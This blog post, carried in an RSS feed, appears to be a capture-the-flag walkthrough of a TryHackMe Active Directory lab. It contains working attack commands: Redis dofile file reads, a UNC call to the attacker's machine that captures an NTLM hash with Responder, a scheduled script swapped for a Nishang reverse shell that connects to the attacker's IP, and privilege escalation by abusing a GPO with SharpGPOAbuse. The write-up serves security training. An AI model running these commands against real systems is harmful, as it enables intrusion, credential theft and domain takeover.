Every domain controller services are up and running which is part of AD DC. But Kerberos is not running so we can ...]]></description><link>https://prabinsigdel.com.np/active-directory-enumeration-and-exploitation</link><guid isPermaLink="true">https://prabinsigdel.com.np/active-directory-enumeration-and-exploitation</guid><category><![CDATA[Active Directory]]></category><category><![CDATA[Windows]]></category><dc:creator><![CDATA[Prabin Sigdel]]></dc:creator><pubDate>Sat, 14 Jun 2025 09:34:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/-jCY4oEMA3o/upload/7aa260df900d82a1accb1eec2d7e9fb1.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-enumeration"><strong>Enumeration</strong></h3>
<p>This room on tryhackme is all about active directory and domain controller. So let's begin our machine with Nmap scanning.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728263188/18632311-c0ca-4ff1-adb1-b25ce97e8a62.jpeg" alt /></p>
<p>Every domain controller services are up and running which is part of AD DC. But <code>Kerberos</code> is not running so we can not <a target="_blank" href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast">AS-REP</a> roasting the usernames to check if they are valid.</p>
<p>I ran the Nmap to scan all ports.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728285969/9b3e1ead-e0b1-44ed-918f-97a15b54605e.jpeg" alt /></p>
<p>Here many ports are open so it is always beneficial to check for all ports. RPC and LDAP services are also running, Smb is a very good option to start with and I did the same.</p>
<h3 id="heading-smb-port-445-enumeration"><strong>SMB port 445 enumeration</strong></h3>
<p>But unfortunately, we got access denied for every possible command of <code>smbclient, smbmap, and netexec</code> to enumerate users' share on smb port 445.</p>
<p>It confirms that no guest and a null session are allowed.</p>
<h3 id="heading-redis-exploitation"><strong>Redis exploitation</strong></h3>
<p>But my eyes got on to port 6379 (Redis). I was unaware of this but <a target="_blank" href="https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis">hacktricks</a> are always a good option to search for anything.</p>
<p>Redis is a No-sql database that stores information alongside key-value called keyspaces. The version of Redis key-value store 2.8.2402 is vulnerable to ssrf + CRLF.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728310116/0823d037-f8e9-466a-95dc-c1b858b056fe.jpeg" alt /></p>
<p>Here we can exploit Redis via ssrf, but we must know the path to the windows server files</p>
<pre><code class="lang-plaintext">redis-cli -h 10.10.245.19 eval "dofile('C:\\\Users\\\enterprise-security\\\Desktop\\\users.txt')" 0
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728319236/f18d3740-5650-48b8-af75-daa829deef43.jpeg" alt /></p>
<p>we got the users.txt flag. If we can get any files why not exploit further to get Authenticated user's NTLM hash? If we forge redis to connect back to our attacking machine, maybe users' hashes will be exposed.</p>
<p>I set up the responder from impacket, when users from the Redis server try to connect to our machine responder will log the hashes.</p>
<pre><code class="lang-plaintext">sudo responder -I 10.9.0.31
</code></pre>
<pre><code class="lang-plaintext">redis-cli -h 10.10.245.19 eval "dofile('//10.9.0.31/test')" 0
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728341394/1714046b-dacf-4434-ba31-69a44a5814ca.jpeg" alt /></p>
<p>Since we got the user enterprise-security hash, we cracked with john the ripper and got the password.</p>
<h3 id="heading-smb-port-445-enumerations-2nd-round"><strong>SMB port 445 enumerations 2nd round</strong></h3>
<p>We have now a username and password, so we can enumerate allowed shares on smbserver. I tried to log into enterprise-Share on smb and successfully logged in.</p>
<pre><code class="lang-plaintext">smbmap -H 10.10.155.156 -u enterprise-security -p pass
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728360987/b11fd4e9-e747-47cb-a405-f4e1402b1c34.jpeg" alt /></p>
<pre><code class="lang-plaintext">smbclient //10.10.155.156/enterprise-share -U 'enterprise-security' pass
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728368362/9eb80d7b-830f-4abd-b485-165d8c8a6f3b.jpeg" alt /></p>
<p>There is a Powershell script scheduled to run, PurgeIrrelevantData_1826.ps1 with content.</p>
<pre><code class="lang-plaintext">rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue
</code></pre>
<p>Maybe we can replace this script with a reverse shell. We do have written permission for this share.</p>
<h3 id="heading-initial-foothold"><strong>Initial foothold</strong></h3>
<p>We use <a target="_blank" href="https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1">Nishang</a> reverse shell to replace PurgeIrrelevantData_1826.ps1 and put it on the smb server overriding the same file and setting up Netcat listener to catch the shell.</p>
<p>Add this line to the bottom of the script and wait for netcat to catch the shell.</p>
<pre><code class="lang-plaintext">Invoke-PowerShellTcp -Reverse -IPAddress 10.9.0.31 -Port 4444
</code></pre>
<pre><code class="lang-plaintext">nc -lvnp 4444
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728381778/b870f5f5-2e31-4c8d-8b6f-9099f2b54960.jpeg" alt /></p>
<p>Finally, we got reverse shell as enterprise security for the windows server.</p>
<h3 id="heading-privilege-escalation"><strong>Privilege Escalation</strong></h3>
<p>When I get the foothold on the machine, I always start with winPEAS.exe and it does give me some useful information which is SeImpersonatePrivilege.</p>
<p>I collect domain info with bloodhound-python and upload it to the bloodhound for analyzing users, groups, and domains.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752728394290/eb0bdbce-8a24-4314-a9de-9c1c309a7ddf.jpeg" alt /></p>
<p>Here is the shortest path to the admin where we will be abusing one of the <code>GPO(group policy object)</code> on which we can edit users' permission, local groups, memberships, and computer tasks.</p>
<p>We use <code>SharpGPOAbuse.exe</code> to escalate our privilege.</p>
<pre><code class="lang-plaintext">./SharpGPOAbuse.exe AddComputerTask TaskName "babbadeckl_privesc" Author vulnnet\administrator Command "cmd.exe" Arguments "/c net localgroup administrators enterprise-security /add" GPOName "SECURITY-POL-VN"
</code></pre>
<pre><code class="lang-plaintext">gpupdate /force
</code></pre>
<p>We can access admin via smbclient.</p>
<pre><code class="lang-plaintext">smbclient //10.10.56.175/C$ -U 'enterprise-security' sand_………...
</code></pre>
]]></content:encoded></item></channel></rss>